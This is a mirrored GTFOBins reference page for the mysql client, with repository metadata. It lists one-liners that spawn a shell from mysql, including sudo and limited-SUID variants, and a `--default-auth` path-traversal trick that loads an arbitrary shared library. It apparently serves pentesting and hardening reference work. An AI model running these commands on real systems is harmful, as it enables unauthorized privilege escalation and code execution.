1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/mysql.md
2019-03-25 19:40:48 +01:00

451 B

description functions
A valid MySQL server must be available.
shell sudo limited-suid library-load
code
mysql -e '! /bin/sh'
code
sudo mysql -e '! /bin/sh'
code
./mysql -e '! /bin/sh'
description code
A MySQL server must accept connections in order for this to work. The following loads the `/path/to/lib.so` shared object. mysql --default-auth ../../../../../path/to/lib